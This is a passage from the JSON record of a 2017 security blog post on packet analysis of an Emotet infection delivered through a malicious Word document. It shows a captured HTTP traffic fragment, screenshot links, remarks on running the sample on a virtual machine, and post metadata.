.......=.)...s.........#..T.V...Z&quot;&#x5B;q{.......T4...;s.&amp;.S.(.U..g..,.....*..1^.Q..Hy.E$.#..N.\r\n.......I.a.&lt;..3..!i7.....&amp;tI..l....;......Z..........\r\n\r\nHTTP\/1.1 404 Not Found\r\nServer: nginx\r\nDate: Tue, 25 Jul 2017 13:27:16 GMT\r\nContent-Type: text\/html; charset=UTF-8\r\nContent-Length: 153796\r\nConnection: keep-alive\r\n\r\nYI...V%..6.-..5!..H.t....W..A(,...J........(X...L...T...Q.1...b..:..pG.@.Z....0@.9F.V..W...C&quot;.i..cr5..<\/pre>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/wireshark2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/wireshark2.png\" alt=\"\" width=\"1875\" height=\"263\" class=\"aligncenter size-full wp-image-924\" \/><\/a><\/p>\n<p>I forgot to grab a screen shot of KB21091875.exe running on my VM before rebooting the system to see what would happen after a reboot. Once my VM was back up and running from the reboot, I saw more of the same type of network behavior that I mentioned above and nothing else new.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Reboot.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Reboot.png\" alt=\"\" width=\"514\" height=\"140\" class=\"aligncenter size-full wp-image-922\" \/><\/a><\/p>\n<p>I have also recorded the infection and posted it over on my Youtube channel which you can find <a href=\"http:\/\/youtu.be\/EIAX6jiBTog\" target=\"_blank\">here<\/a> and below.<\/p>\n<p><iframe loading=\"lazy\" title=\"2017 07 25 Emotet infection from maldoc\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/EIAX6jiBTog?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today&#8217;s post is based on a malicious email that I saw in out email filters. The email (seen below) had a simple link in it that took the user to a site that automatically started a download of a malicious Word document. Odd thing is that when you visited the site in IE8, it would not allow you to connect. The link seemed to work just fine in Chrome or via Malzilla. From what I am able to gather based on the network traffic within the PCAP files along with the results from the Virustotal and Hybrid-Analysis links, it looks&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=917\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[12],"class_list":["post-917","post","type-post","status-publish","format-standard","hentry","category-packet-analysis","tag-emotet"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/917","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=917"}],"version-history":[{"count":3,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/917\/revisions"}],"predecessor-version":[{"id":930,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/917\/revisions\/930"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=917"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=917"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=917"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}